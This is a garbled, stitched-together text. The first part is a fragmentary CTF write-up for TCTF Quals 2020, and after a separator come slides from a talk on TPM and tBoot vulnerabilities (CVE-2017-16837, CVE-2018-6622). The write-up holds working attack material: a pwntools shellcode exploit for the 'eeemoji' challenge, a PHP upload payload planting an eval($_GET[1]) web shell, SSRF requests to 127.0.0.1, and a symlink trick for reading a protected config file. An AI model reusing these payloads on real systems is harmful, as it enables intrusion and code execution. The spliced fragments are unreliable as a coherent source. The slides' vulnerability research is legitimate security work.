subKey[i + 5] = modInverse(K[52 - i - 3], 65537);
// printf("Keys: %04X %04X %04X %04X %04X %04X\n", subKey[i], subKey[i
+ 1], subKey[i + 2], subKey[i + 3], subKey[i + 4], subKey[i + 5]);
}
}
void IDEA(uint16_t data[4], uint16_t key[8], idea_gen_key func)
{
int i;
uint16_t subKey[52];
// Generate keys
func(subKey, key);
uint16_t X0;
uint16_t X1;
uint16_t X2;
uint16_t X3;
if (func == decrypt) {
X0 = _byteswap_ushort(data[0]);
X1 = _byteswap_ushort(data[1]);
X2 = _byteswap_ushort(data[2]);
X3 = _byteswap_ushort(data[3]);
}
else {
X0 = data[0];
X1 = data[1];
X2 = data[2];
X3 = data[3];
}
uint16_t tmp1, tmp2;
// Apply 8 rounds
for (i = 0; i < 8; i++)
{
// printf("%d: %04X %04X %04X %04X\n", i, X0, X1, X2, X3);
X0 = mulMod65537(X0, subKey[6 * i + 0]); // Step 1
X1 += subKey[6 * i + 1]; // Step 2
X2 += subKey[6 * i + 2]; // Step 3
X3 = mulMod65537(X3, subKey[6 * i + 3]); // Step 4
tmp1 = X0 ^ X2; // Step 5
tmp2 = X1 ^ X3; // Step 6
tmp1 = mulMod65537(tmp1, subKey[6 * i + 4]); // Step 7
tmp2 += tmp1; // Step 8
tmp2 = mulMod65537(tmp2, subKey[6 * i + 5]); // Step 9
tmp1 += tmp2; // Step 10
X0 ^= tmp2;
X1 ^= tmp1;
X2 ^= tmp2;
X3 ^= tmp1;
// Swap X1 and X2
tmp1 = X1;
X1 = X2;
X2 = tmp1;
}
tmp1 = X1;
tmp2 = X2;
// Apply the half round
data[0] = mulMod65537(X0, subKey[6 * i + 0]);
data[1] = tmp2 + subKey[6 * i + 1];
data[2] = tmp1 + subKey[6 * i + 2];
data[3] = mulMod65537(X3, subKey[6 * i + 3]);
if (func == decrypt) {
data[0] = _byteswap_ushort(data[0]);
data[1] = _byteswap_ushort(data[1]);
data[2] = _byteswap_ushort(data[2]);
data[3] = _byteswap_ushort(data[3]);
}
}
__int64 __fastcall sub_140001000(unsigned __int16* a1, __int64 a2, unsigned
int* a3, unsigned int* dec)
{
unsigned __int16* v5; // rsi
int v6; // eax
int v7; // ebx
int v8; // eax
int v9; // ebp
int v10; // eax
int v11; // er14
unsigned __int16 v12; // ax
unsigned int v0; // er12
unsigned int v1; // er9
unsigned int v15; // er10
__int64 v16; // r8
int v17; // er15
__int64 v18; // r11
int v19; // er8
int v20; // er15
int v21; // ecx
__int64 v22; // rdx
__int64 v23; // rcx
unsigned int v24; // ebx
int v25; // esi
int v26; // esi
int v27; // edx
unsigned int v28; // eax
unsigned int v29; // er9
__int64 v30; // rbp
__int64 v31; // rdx
unsigned int v32; // ecx
int v33; // er13
int v34; // edx
int v35; // er15
unsigned int v36; // er10
int v37; // edi
int v38; // edx
__int64 v39; // r9
__int64 v40; // r8
unsigned int v41; // ebp
int v42; // esi
int v43; // edx
unsigned int v44; // er15
unsigned int v45; // edi
unsigned __int32 v46; // ebx
int v47; // esi
unsigned int v48; // ebx
__int64 v49; // rsi
unsigned int v50; // eax
unsigned int v51; // edi
__int64 v52; // r8
unsigned __int64 v53; // rax
unsigned int v54; // edi
unsigned int v56; // [rsp+28h] [rbp-50h]
__int64 v57; // [rsp+30h] [rbp-48h]
v5 = a1;
LOWORD(v6) = _byteswap_ushort(*a1);
v7 = v6;
LOWORD(v8) = _byteswap_ushort(v5[1]);
v9 = v8;
LOWORD(v10) = _byteswap_ushort(v5[2]);
v11 = v10;
v12 = _byteswap_ushort(v5[3]);
v0 = *a3;
v1 = a3[1];
v15 = 0x104D9AF0;
v16 = 0x4E43E792i64;
v17 = 0x9C87CF24;
v18 = 0i64;
v57 = a2;
while (1)
{
v22 = *(unsigned __int16*)(a2 + v18);
v23 = v22 * (unsigned __int16)v7;
if (!(_DWORD)v23)
break;
v24 = (((unsigned int)((v23 | (unsigned __int64)(v23 << 32)) >> 16) -
(unsigned int)v23) >> 16) + 1;
v25 = *(unsigned __int16*)(a2 + v18 + 2);
if ((_DWORD)v18 == 96)
goto LABEL_16;
LABEL_7:
v26 = v9 + v25;
LOWORD(v11) = *(_WORD*)(a2 + v18 + 4) + v11;
v27 = v12 * *(unsigned __int16*)(a2 + v18 + 6);
if (v27)
v28 = ((unsigned int)(__ROL4__(v27, 16) - v27) >> 16) + 1;
else
LOWORD(v28) = 1 - v12 - *(_WORD*)(a2 + v18 + 6);
v29 = v1 - ((v0 + ((v0 >> 5) ^ (16 * v0))) ^ (v15 + *(_DWORD*)(a2 +
2i64 * ((v15 >> 10) & 6))));
v30 = *(unsigned __int16*)(a2 + v18 + 8);
v31 = v30 * (unsigned __int16)(v24 ^ v11);
v56 = v15;
if ((_DWORD)v31)
v32 = (((unsigned int)((v31 | (unsigned __int64)(v31 << 32)) >>
16) - (unsigned int)v31) >> 16) + 1;
else
v32 = 1 - (unsigned __int16)(v24 ^ v11) - v30;
v33 = v17;
v34 = *(_DWORD*)(v57 + 2i64 * (v17 & 4));
v35 = v16;
v36 = v29;
v37 = (v16 + v34) ^ (v29 + ((v29 >> 5) ^ (16 * v29)));
v38 = (unsigned __int16)v32 + (unsigned __int16)(v28 ^ v26);
v39 = *(unsigned __int16*)(v57 + v18 + 10);
v40 = v39 * (unsigned __int16)v38;
if ((_DWORD)v40)
v41 = (((unsigned int)((v40 | (unsigned __int64)(v40 << 32)) >>
16) - (unsigned int)v40) >> 16) + 1;
else
v41 = 1 - v38 - v39;
v19 = v35;
v1 = v36;
v20 = v33;
a2 = v57;
v15 = v56 + 0x3DF64CA2;
v0 -= v37;
v21 = v32 + v41;
v7 = v41 ^ v24; // here
v12 = v21 ^ v28; // v12 changes
v9 = v41 ^ v11; // v9 changes
v18 += 12i64;
v16 = (unsigned int)(v19 + 0x3DF64CA2);
v17 = v20 + 0x7BEC9944;
v11 = v21 ^ v26; // v11 changes
}
v24 = 1 - v7 - v22;
v25 = *(unsigned __int16*)(a2 + v18 + 2);
if ((_DWORD)v18 != 96)
goto LABEL_7;
LABEL_16:
v42 = (unsigned __int16)v11 + v25;
v43 = v12 * *(unsigned __int16*)(a2 + 102);
v44 = v1;
if (v43)
v45 = ((unsigned int)(__ROL4__(v43, 16) - v43) >> 16) + 1;
else
LOWORD(v45) = 1 - v12 - *(_WORD*)(a2 + 102);
v46 = _byteswap_ulong((unsigned __int16)v24) >> 16;
v47 = (v42 << 24) | (v42 << 8) & 0x1FF0000;
v48 = v47 ^ v0 ^ v46;
v49 = ((unsigned __int16)v45 << 8) | ((unsigned __int16)v45 >> 8);
v50 = _byteswap_ulong((unsigned __int16)(*(_WORD*)(a2 + 100) + v9));
v51 = v50;
v53 = ((v49 << 32) | (unsigned __int64)v51) >> 16;
v54 = v48 | v53 ^ v44;
dec[0] = v0;
dec[1] = v1;
return (int)v54;
}
int main() {
unsigned char flag[] = "flag{1111111111111111111111111}";
uint32 dec[2*4+1] = { 0 };
for (int i = 0; i < 4; i++) {
sub_140001000((unsigned __int16*)flag, (__int64)g_keys, (unsigned
int*)(data + 8 * i), &dec[2 * i]);
}
w
wwsecretwasm 0x200
XOR CBC
WASM9
uint16_t* key = (uint16_t*)"TCTF_QUALS_2020_";
for (int i = 0; i < 4; i++) {
IDEA((uint16*)dec + i * 4, key, decrypt);
}
printf("%s\n", dec);
return 0;
}
total_time = len >> 9;
cursrc = (char *)src;
for i in range(total_time):
key2 = -1
for j in range(0x200):
key1 = j & 0x1F;
c = cursrc[j] ^ key2 ^ dst[key1];
key2 = cursrc[j];
cursrc[j] = c - key1;
cursrc += 512;
eNj0y_web
0x200 28020c212141d70021 (!!A!
0x400 6b2122200320223602 k!" "6
0x600 0274215a2003280278 t!Z (x
0x800 2104200320046b2105 ! k!
0xa00 290308211f201fa721 )! !
0xc00 808000211d2005201d !
0xe00 222021212320222124 " !!# "!$
0x1000 602167206620674a21 `!g f gJ!
0x1200 020c21a30120072802 ! (
0x1400 21dc01200720dc0136 ! 6
0x1600 072005200036022c20 6,
0x1800 80001a200528020821 (!
0x1a00 410021042003200036 A! 6
0x1c00 41012123202220236a A!# " #j
0x1e00 021821072007210820 !
0x2000 25712126201f212702 %q!& !'
:00 0e200e200d3a00000c
0x2400200a0d000c010b2003wwww
Key
keyemB
0x2400 200a0d000c010b2003
0x2600 0220216a2122202221 !j!" "!
0x2800 02280248215c200228 (H!\ (
0x2a00 0020022802d8082194 (!
0x2c00 0220bf016a21c00120 j!
0x2e00 410372360204200420 Ar6
0x3000 6a2106200828021022 j!("
0x3200 787120036b22022006 xq k"
0x3400 8d80800021040c010b !
kAd00200720026b4100
0x3800 0041002802c08d8080 A(
0x3a00 808000410041002802 AA(
0x3c00 20006a210020052007 j!
0x3e00 200241486a22082000 AHj
0x4000 200041027441888c80 AtA
4200 2802102200450d0020 ("E
0x4400 210320004101742100 ! At!
0x4600 0b0a002000109a8080
0x4800 021020022005360218 6
0x4a00 200536020c0c010b02 6
0x4c00 220520054180800f6a " Aj
0x4e00 006a2203417f6a2001 j"A•j
0x5000 3f0a00696e70757420 ?
input
eNj0y_weba5SemB9Q\xaf\x8f\xf4
0x0 0061736d0100000001320960017f00 asm2 `•
0x200 28020c212141d7002122202120226c (!!A!" ! "l
0x400 6b2122200320223602742003201f36 k!" "6t 6
0x600 0274215a2003280278215b2059205a t!Z (x![ Y Z
0x800 2104200320046b2105200524808080 ! k! $
0xa00 290308211f201fa7212020200f0b98 )! !
0xc00 808000211d2005201d360200200528 ! 6 (
0xe00 222021212320222124202320244921 " !!# "!$ # $I!
0x1000 602167206620674a21684101216920 `!g f gJ!hA!i
0x1200 020c21a301200728022c21a4012007 ! (,!
0x1400 21dc01200720dc0136020c0c020b20 ! 6
0x1600 072005200036022c20052001360228 6, 6(
0x1800 80001a20052802082147200528021c (!G (
0x1a00 410021042003200036020820032802 A! 6 (
0x4e00006a2203417f6a20013a0000200241ww
key
wasm
retflagflag
0x1c00 41012123202220236a212420052024 A!# " #j!$ $
0x1e00 021821072007210820062109200820 ! !
x2000 25712126201f212702402026450d00 %q!& !'@ &E
:A!00e200d3a00000c010b4100210f
0x2400 200a0d000c010b200328020c210b20
(!
0x2600 0220216a2122202221234103212441 !j!" "!#A!$A
0x2800 02280248215c2002280218215d205c (H!\ (!] \
0x2a00 0020022802d80821940120022802d4 (! (
0x2c00 0220bf016a21c00120c00124808080 j! $
0x2e00 410372360204200420064103742206 Ar6 At"
00 6a2106200828021022000d000b200b j!("
0x3200 787120036b22022006492105024020 xq k" I!@
0x3400 8d80800021040c010b4100427f3702 !AB•7
kA(720026b41002802b88d8080
0x3800 0041002802c08d8080003602f48980 A(6
0x3a00 808000410041002802e08980800020 AA(
0x3c00 20006a2100200520076a21050b2005 j! j!
0x3e00 200241486a220820006b2200410172 AHj k"Ar
0x4000 200041027441888c8080006a210602 AtAj!
6802102200450d0020052000360210 ("E
0x4400 210320004101742100200420034104 ! At! A
0x4600 0b0a002000109a808080000bf40e01
0x4800 0210200220053602180b2001280214 6 (
0x4a00 200536020c0c010b0240200341146a 6@ Aj
0x4c00 220520054180800f6a411076410271 " AjAvAq
0x4e00 006a2203417f6a20013a0000200241 j"A•j : A
0x5000 3f0a00696e707574206e6577207061 ?
input new pa
eNj0y_weba5SemB1Y.lstrip("web")!
flash-1
void __cdecl sub_8000081C(int a1, int a2, int a3, int a4)
{
__int16 v4; // $a0
__int16 v5; // $a0
__int16 v6; // $a0
__int16 v7; // $a0
__int16 v8; // $a0
__int16 v9[3]; // [sp+10h] [+10h]
__int16 v10; // [sp+16h] [+16h]
int v11; // [sp+18h] [+18h]
int v12; // [sp+20h] [+20h]
unsigned __int16 v13; // [sp+28h] [+28h]
unsigned __int16 v14; // [sp+2Ch] [+2Ch]
unsigned __int16 v15; // [sp+32h] [+32h]
__int16 v16; // [sp+36h] [+36h]
__int16 v17; // [sp+3Ah] [+3Ah]
*(_DWORD *)v9 = 0;
while ( 1 )
{
if ( *(_DWORD *)v9 )
break;
*(_DWORD *)&v9[1] = *(unsigned __int16 *)instructions;
instructions = (int *)((char *)instructions + 2);
if ( (unsigned __int16)v9[2] < 0xEu )
{
switch ( v9[2] )
{
case 0:
v17 = pop_magic();
v4 = v17 + pop_magic();
push_magic(v4);
break;
case 1:
v16 = pop_magic();
v5 = v16 - pop_magic();
push_magic(v5);
break;
case 2:
v15 = pop_magic();
dword_80003D28 = v15 * (unsigned __int16)pop_magic();
break;
case 3:
v6 = dword_80003D28 % (unsigned int)(unsigned __int16)pop_magic();
push_magic(v6);
break;
case 4:
v14 = pop_magic();
v7 = v14 < (unsigned int)(unsigned __int16)pop_magic();
push_magic(v7);
break;
case 5:
v13 = pop_magic();
v8 = v13 == (unsigned __int16)pop_magic();
push_magic(v8);
break;
case 6:
v12 = *(__int16 *)instructions;
instructions = (int *)((char *)instructions + 2);
__asm
{
mtc0 $zero, Count # Timer Count
mtc0 $zero, Count # Timer Count
}
if ( pop_magic() )
{
instructions = (int *)((char *)instructions + 2 * (v12 / 2));
}
break;
case 7:
v11 = *(__int16 *)instructions;
instructions = (int *)((char *)instructions + 2);
__asm
{
mtc0 $zero, Count # Timer Count
mtc0 $zero, Count # Timer Count
}
if ( !pop_magic() )
{
instructions = (int *)((char *)instructions + 2 * (v11 / 2));
}
break;
case 8:
push_magic(*(_WORD *)input);
input += 2;
break;
case 9:
v10 = *(_WORD *)instructions;
instructions = (int *)((char *)instructions + 2);
push_magic(v10);
break;
case 0xA:
push_magic(inputlen);
break;
case 0xB:
inputlen = pop_magic();
break;
case 0xC:
pop_magic();
break;
case 0xD:
*(_DWORD *)v9 = 1;
break;
}
}
}
__asm { mtc0 $zero, Count # Timer Count }
}
0000 GETIMM 91d
0004 GETIMM 0
0008 GETINPUTLEN
000a SETEQ
000c J.TRUE 24
0010 GETIMM 1
0014 GETINPUTLEN
0016 SUB
0018 SETINPUTLEN
001a GETINPUT
001c GETIMM 1
0020 J.TRUE 4
0024 GETIMM 11
0028 MUL
002a GETIMM b248
002e MOD
0030 GETIMM 72a9
0034 SETEQ
0036 J.FALSE 18
flag[0]*0x11%0xb248 == 0x72a9
003a GETIMM 11
003e MUL
0040 GETIMM b248
0044 MOD
0046 GETIMM 97e
004a SETEQ
004c J.FALSE 2e
0050 GETIMM 11
0054 MUL
0056 GETIMM b248
005a MOD
005c GETIMM 5560
0060 SETEQ
0062 J.FALSE 44
0066 GETIMM 11
006a MUL
006c GETIMM b248
0070 MOD
0072 GETIMM 4ca1
0076 SETEQ
0078 J.FALSE 5a
007c GETIMM 11
0080 MUL
0082 GETIMM b248
0086 MOD
0088 GETIMM 37
008c SETEQ
008e J.FALSE 70
0092 GETIMM 11
0096 MUL
0098 GETIMM b248
009c MOD
009e GETIMM aa71
00a2 SETEQ
00a4 J.FALSE 86
00a8 GETIMM 11
00ac MUL
00ae GETIMM b248
00b2 MOD
00b4 GETIMM 122c
00b8 SETEQ
00ba J.FALSE 9c
00be GETIMM 11
00c2 MUL
00c4 GETIMM b248
00c8 MOD
00ca GETIMM 4536
00ce SETEQ
00d0 J.FALSE b2
00d4 GETIMM 11
00d8 MUL
00da GETIMM b248
00de MOD
00e0 GETIMM 11e8
00e4 SETEQ
00e6 J.FALSE c8
00ea GETIMM 11
00ee MUL
00f0 GETIMM b248
00f4 MOD
00f6 GETIMM 1247
00fa SETEQ
00fc J.FALSE de
0100 GETIMM 11
0104 MUL
0106 GETIMM b248
010a MOD
010c GETIMM 76c7
0110 SETEQ
0112 J.FALSE f4
0116 GETIMM 11
011a MUL
011c GETIMM b248
0120 MOD
0122 GETIMM 96d
0126 SETEQ
0128 J.FALSE 10a
012c GETIMM 11
0130 MUL
0132 GETIMM b248
0136 MOD
0138 GETIMM 122c
013c SETEQ
013e J.FALSE 120
0142 GETIMM 11
0146 MUL
0148 GETIMM b248
014c MOD
014e GETIMM 87cb
0152 SETEQ
0154 J.FALSE 136
0158 GETIMM 11
015c MUL
015e GETIMM b248
Misc
eeemoji
0162 MOD
0164 GETIMM 9e4
0168 SETEQ
016a J.FALSE 14c
016e GETIMM 91d
0172 J.FALSE 154
0174 GETINPUT
0176 GETIMM 0
017a SETINPUTLEN
017c STOP
from pwn import *
#p = process('./eeemoji',env={'LD_PRELOAD':'./libc-2.27.so'})
p = remote('pwnable.org', 31322)
def convaddr(a):
f = ord(a[0])
if f & 0b11111100 == 0b11111100:
ans = ((ord(a[0])&0b1)<<30) | ((ord(a[1])&0b00111111)<<24) |
((ord(a[2])&0b00111111)<<18)| ((ord(a[3])&0b00111111)<<12)|
((ord(a[4])&0b00111111)<<6)|((ord(a[5])&0b00111111))
ans2 = ((ord(a[6])&0b111)<<12) |((ord(a[7])&0b00111111)<<6) |
((ord(a[8])&0b00111111))
return (ans2 << 32) | ans
elif f & 0b11111000 == 0b11111000:
ans = ((ord(a[0])&0b11)<<24) |((ord(a[1])&0b00111111)<<18)|
((ord(a[2])&0b00111111)<<12)|((ord(a[3])&0b00111111)<<6)|
((ord(a[4])&0b00111111))
ans2 = ((ord(a[5])&0b111)<<12) | ((ord(a[6])&0b00111111)<<6) |
((ord(a[7])&0b00111111))
return (ans2 << 32) | ans
def addrconv(a):
a = a & 0xffffffff
bits = bin(a)[2:]
l = len(bits)
if l <=16:
b1 = int('10'+bits[-6:],2)
b2 = int('10'+bits[-12:-6],2)
b3 = int('1110'+bits[:-12].rjust(4,'0'),2)
conved = chr(b3) + chr(b2) + chr(b1)
return conved
elif 16<l<=24:
b1 = int('10'+bits[-6:],2)
b2 = int('10'+bits[-12:-6],2)
b3 = int('10'+bits[-18:-12],2)
b4 = int('10'+bits[:-18].rjust(6,'0'),2)
b5 = 0b11111000
conved = chr(b5) + chr(b4) + chr(b3) + chr(b2) + chr(b1)
return conved
elif 24<l<=26:
b1 = int('10'+bits[-6:],2)
b2 = int('10'+bits[-12:-6],2)
b3 = int('10'+bits[-18:-12],2)
b4 = int('10'+bits[-24:-18],2)
b5 = int('111110'+bits[:-24].rjust(2,'0'),2)
conved = chr(b5) + chr(b4) + chr(b3) + chr(b2) + chr(b1)
return conved
elif 26<l<=30:
b1 = int('10'+bits[-6:],2)
b2 = int('10'+bits[-12:-6],2)
b3 = int('10'+bits[-18:-12],2)
b4 = int('10'+bits[-24:-18],2)
b5 = int('10'+bits[:-24].rjust(6,'0'),2)
b6 = 0b11111100
conved = chr(b6) + chr(b5) + chr(b4) + chr(b3) + chr(b2) + chr(b1)
return conved
elif l>30:
b1 = int('10'+bits[-6:],2)
b2 = int('10'+bits[-12:-6],2)
b3 = int('10'+bits[-18:-12],2)
b4 = int('10'+bits[-24:-18],2)
b5 = int('10'+bits[-30:-24],2)
b6 = int('1111110'+bits[:-30].rjust(1,'0'),2)
conved = chr(b6) + chr(b5) + chr(b4) + chr(b3) + chr(b2) +chr(b1)
return conved
BEER = '\xf0\x9f\x8d\xba'
BULL = '\xf0\x9f\x90\xae'
HORSE = '\xf0\x9f\x90\xb4'
p.sendline(BEER)
raw_input()
#p.sendline(BULL)
print p.recv()
p.sendline(HORSE)
off = addrconv(0x41414141)
a1 = addrconv(0x49006a90)
a2 = addrconv(0x69622fb8)
a3= addrconv(0x68732f6e)
a4 = addrconv(0x48504100)
a5 = addrconv(0x03bc0c7)
a6 = addrconv(0x48900000)
a7 = addrconv(0x4890e789)
a8 = addrconv(0x3148f631)
Cloud Computing
bypass openbasedir
flagbinwalkflag
Cloud Computing v2
http://pwnable.org:47781/?action=upload&data[0]=<&data[1]=?&data[2]=eval($_GET[1]);
http://pwnable.org:47781/?action=shell&1=var_dump(1);
http://pwnable.org:47781/?action=shell&1=var_dump(file_get_contents("http://127.0.0.1:80/"));
SuperSafeCloudAgent v1.0
127.0.0.1:80 https://github.com/agent853/agent
: "/" ⇒ main_hello "/init" ⇒ main_initc, "/read" ⇒ main_read"/scan"⇒
main_scan; e.GET, e.Start("127.0.0.1:80")
dir^/var/www/html/sandbox/[0-9a-f]{40}/
init config.json
GET /read?dir=xxxxx&target= xx
readconfigban ban flag
scan:
scandir, "*.php", main_updateFile,
,
index.php
a9 = addrconv(0x050f90d2)
a10 = addrconv(0x58415841)
a11 = addrconv(0x58415841)
a12 = addrconv(0x000000c3)
sh = off+a1+a2+a3+a4+a5+a6+a7+a8+a9+a10+a11
print sh.encode('hex')
raw_input()
p.send(sh+(130-12)*addrconv(0x71725341))
p.interactive()
{"ban": "flag"}
<http://127.0.0.1:80/init?
dir=/var/www/html/sandbox/8c626e1bd8bd130935d6e1890559ef09074fe3f7/>
<http://127.0.0.1:80/read?
dir=/var/www/html/sandbox/8c626e1bd8bd130935d6e1890559ef09074fe3f7/%26target=i
ndex.php>
scanphpconfig.jsonphp
scanconfig.json
shellreadflag
Crypto
babyring
1=error_reporting(-1);symlink("/var/www/html/sandbox/690e89846bf794be4ed29f1ee
ca5e7f7f5b6ae92/config.json","/var/www/html/sandbox/690e89846bf794be4ed29f1eec
a5e7f7f5b6ae92/baba.php");echo file_get_contents("<http://127.0.0.1/scan?
dir=/var/www/html/sandbox/690e89846bf794be4ed29f1eeca5e7f7f5b6ae92/>");
#!/usr/bin/env sage
from Crypto.Cipher import ARC4
import IPython, hashlib, struct, os, itertools, string, ast
os.environ["TERM"] = 'screen'
(e, Ns) = ast.literal_eval(open("./pub.txt", 'rb').read())
K = 64
F = GF(2)
M = Matrix(F, 0, K)
def to_vector(v):
return vector([((v % (2^K)) >> i) & 1 for i in xrange(K)])
xs, ys = [], []
while M.nrows() != K:
idx = M.nrows()
x = randint(1, 10^60)
y = ZZ(pow(x, e, Ns[idx]))
vec = to_vector(y)
Mr = M.stack(vec)
if Mr.rank() != idx + 1:
continue
M = Mr
xs.append(x)
ys.append(y)
print 'Collecting: %d / %d' % (M.rank(), K)
M = M.transpose()
msg = 'Hello'
key = hashlib.sha256(msg).digest()[:16]
E = ARC4.new(key)
ksum = 0
for i in xrange(K):
(ks, ) = struct.unpack("Q", E.encrypt(8 * '\x00'))
ksum = ks ^^ ksum
kv = to_vector(ksum)
sol = M.solve_right(kv)
kverify = 0
for i in xrange(K):
if sol[i] != 0: kverify = kverify ^^ (ys[i] % (2^K))
assert kverify == ksum
from pwn import *
context.log_level = 'DEBUG'
p = remote("pwnable.org", 10001)
p.recvuntil("+")
suffix = p.recvuntil(")", drop=True)
p.recvuntil(" == ")
h = p.recvline().strip()
for comb in itertools.product(string.ascii_letters+string.digits, repeat=4):
s = ''.join(comb) + suffix
if hashlib.sha256(s).hexdigest() == h:
p.sendline(''.join(comb))
break
else:
raise Exception("PoW failed...")
p.sendlineafter("message: ", msg)
for i in xrange(K):
if sol[i] == 0:
p.sendlineafter(": ", "0")
else:
p.sendlineafter(": ", str(xs[i]))
p.sendlineafter(": ", str(1234))
p.interactive() | pdf |
Betrayal of Reputation
Trusting the Untrustable Hardware and Software with Reputation
Seunghun Han
Senior Security Researcher at National Security Research Institute
29 May 2019
- Senior security researcher at NSR (National Security
Research Institute of South Korea)
- Influencer Member of Black Hat Asia 2019
- Review Board Member of KIMCHICON
- Speaker at
- USENIX Security 2018
- Black Hat Asia 2017 - 2019
- HITBSecConf 2016 - 2017
- BeVX and KIMCHICON 2018
- Author of “64-bit multi-core OS principles and structure, Vol. 1 and Vol. 2)
- a.k.a kkamagui
@kkamagui1
Who Am I?
- Introduce a stereotype about reputation
- REPUTATION does not mean TRUSTWORTHINESS!
- Unfortunately, we easily trust something because of REPUTATION!
- Present the case that the reputation betrays you
- BIOS/UEFI firmware and Trusted Platform Module (TPM) were made
by REPUTABLE companies!
- However, I found two vulnerabilities, CVE-2017-16837 and CVE-2018-
6622, that can subvert the TPM
- Present countermeasures and what we should do
- Trust nothing with REPUTATION and check everything for yourself!
Goal of This Talk
Previous Works
Reputation
is based on
trust!
We just believe
products
of reputable companies
trustable
Reputable Companies
(High Price)
Other Companies
(Low Price)
for you!
for presents!
Reputable Companies
(High Price)
Other Companies
(Low Price)
for you!
for presents!
I KNOW WHAT YOU DID
FOR THE PRESENTS!
Trusted Building Block
Root of Trust for Measurement
Core RTM
Reputable products
are really
trustable?
Reputable
Trustable!
Everyone has a plan,
until they get punched in the mouth.
- Mike Tyson
Everyone has a plan,
until they get punched in the mouth.
- Mike Tyson
Every researcher has a plan,
until they encounter their manager.
- Unknown
You
Every researcher has a plan,
until they encounter their manager.
- Unknown
Manager
CEO
Timeline
~~
Happiness
0
5
10
- 10
- 5
- 1000
- 100
2017
2018
2019
Time
(year)
First Encounter
Second Encounter
CVE-2017-
16837
CVE-2018-
6622
USENIX
Security
Black Hat
Asia
Black Hat Asia
with Napper
~~
Happiness
0
5
10
- 10
- 5
- 1000
- 100
2017
2018
2019
Time
(year)
First Encounter
Second Encounter
CVE-2017-
16837
CVE-2018-
6622
USENIX
Security
Black Hat
Asia
Black Hat Asia
with Napper
Contents - Background
Trusted Computing Group (TCG)
- Defines global industry specifications and standards
- All reputable companies such as Intel, AMD, IBM, HP, Dell, Lenovo,
Microsoft, Cisco, Juniper Networks, and Infineon are members of it
- Is supportive of a hardware root of trust
- Trusted Platform Module (TPM) is the core technology
- TCG technology has been applied to Unified Extensible Firmware
Interface (UEFI)
Trusted Computing Base (TCB) of TCG
- Is a collection of software and hardware on a host
platform
- Manages and enforces a security policy of the system
- Is able to prevent itself from being compromised
- The Trusted Platform Module (TPM) helps to ensure that the TCB is
properly instantiated and trustworthy
Trusted Platform Module (TPM) (1)
- Is a tamper-resistant device
- Has own processor, RAM, ROM, and
non-volatile RAM
- It has own state separated from the system
- Provides cryptographic and accumulating measurements
functions
- Measurement values are accumulated to Platform Configuration
Registers (PCR #0~#23)
Trusted Platform Module (TPM) (2)
- Is used to determine the trustworthiness of a system by
investigating the values stored in PCRs
- A local verification or remote attestation can be used
- Is used to limit access to secret data based on specific PCR
values
- “Seal” operation encrypts secret data with the PCRs of the TPM
- “Unseal” operation can decrypt the sealed data only if the PCR values
match the specific values
Root of Trust for Measurement (RTM)
- Sends integrity-relevant information (measurements) to
the TPM
- TPM accumulates the measurements to a PCR with the previously
stored value in the PCR
- Is the CPU controlled by Core RTM (CRTM)
- The CRTM is the first set of instructions when a new chain of trust is
established
Extend: PCRnew = Hash(PCRold || Measurementnew)
Static and Dynamic RTM (SRTM and DRTM)
- SRTM is started by static CRTM (S-CRTM) when the host
platform starts at POWER-ON or RESTART
- DRTM is started by dynamic CRTM (D-CRTM) at runtime
WITHOUT platform RESET
- They extend measurements (hashes) of components to
PCRs BEFORE passing control to them
: Extend a hash of next code to the TPM
: Execute next code
BIOS/UEFI firmware
BIOS/UEFI
Code
TPM
Bootloader
Kernel
User
Applications
Static Root of Trust for Measurement (SRTM)
S-CRTM
Power On/
Restart
D-CRTM
(SINIT, DCE)
TPM
tboot
(DLME)
Dynamic Root of Trust for Measurement (DRTM)
(Intel Trusted Execution Technology)
Untrusted
Code
DL Event
Bootloader
User
Applications
Kernel
DLME: Dynamically Launched Measured Environment
DL Event : Dynamic Launch Event
DCE: DRTM Configuration Environment
DRTM
SRTM
PCR Protection
- They MUST NOT be reset by disallowed operations even
though an attacker gains a root privilege!
- Static PCRs (PCR #0~#15) can be reset only if the host resets
- Dynamic PCRs (PCR #17~#22) can be reset only if the host initializes
the DRTM
- If PCRs are reset by attackers, they can reproduce specific
PCR values by replaying hashes
- They can steal the secret and deceive the local and remote
verification
We trust all these mechanisms
because of REPUTATION!
Fortunately, they worked!
We trust all these mechanisms
because of REPUTATION!
UNTIL I PUBLISHED
THE VULNERABILITIES!
Fortunately, they worked!
YOU BETRAY ME!
~~
Happiness
0
5
10
- 10
- 5
- 1000
- 100
2017
2018
2019
Time
(year)
First Encounter
Second Encounter
CVE-2017-
16837
CVE-2018-
6622
USENIX
Security
Black Hat
Asia
Black Hat Asia
with Napper
Contents - CVE-2017-16837
Intel Trusted Execution Environment (TXT)
- Is the DRTM technology of TCG specification
- Intel just uses their own terminologies
- ex) DCE = Secure Initialization Authenticated Code Module (SINIT ACM)
DLME = Measured Launched Environment (MLE)
- Has a special command (SENTER and SEXIT) to enter
trustworthy state and exit from it
- SENTER checks if SINIT ACM has a valid signature
- Intel publishes SINIT ACM on the website
Trusted Boot (tBoot)
- Is a reference implementation of Intel TXT
- It is an open source project (https://sourceforge.net/projects/tboot/)
- It has been included many Linux distros such as RedHat, SUSE, and
Ubuntu
- Can verify OS and Virtual Machine Monitor (VMM)
- It measures OS components and stores hashes to the TPM
- Measured results in PCRs of the TPM can be verified by a remote
attestation server such as Intel Open CIT
- It is typically used in server environments
Boot Process of tBoot
CRTM
BIOS/UEFI
Code
GRUB
Pre-
Launch
Code
Kernel
initrd
Remote
Attestation
Tool
Static PCRs (PCR#0-15)
Dynamic PCRs (PCR#17-22)
SINIT
ACM
(DCE)
Post-
Launch
Code
CPU
tBoot (DLME)
TPM
Microcode
SENTER
(DL event)
: Execution
: Measurement
PCR #17
PCR #17~
#19
R.A. Server
Attestation
Boot process is
perfect!
How about
sleep process?
Advanced Configuration and Power Interface (ACPI)
and Sleeping States
- Cut off the power of…
- S0: Normal, no context is lost
- S1: Standby, the CPU cache is lost
- S2: Standby, the CPU is POWERED OFF
- S3: Suspend, CPU and devices are POWERED OFF
- S4: Hibernate, the CPU, devices, and RAM are POWERED OFF
- S5: Soft Off, all parts are POWERED OFF
TPM is also POWERED OFF!
Code is measured again while waking up!
Resume
Restart DRTM
Measure
Again!
Waking Up Process of the DRTM
<TCG D-RTM Architecture Specification>
Sleep Process with tBoot
Seal S3 key and MAC of Kernel Memory with Post-Launch PCRs
Save Static PCRs(0~16)
- seal_post_k_state() → g_tpm->seal()
- tpm->save_state()
- shutdown_system()
Shutdown Intel TXT
- txt_shutdown()
Sleep. Power off the CPU and the TPM!
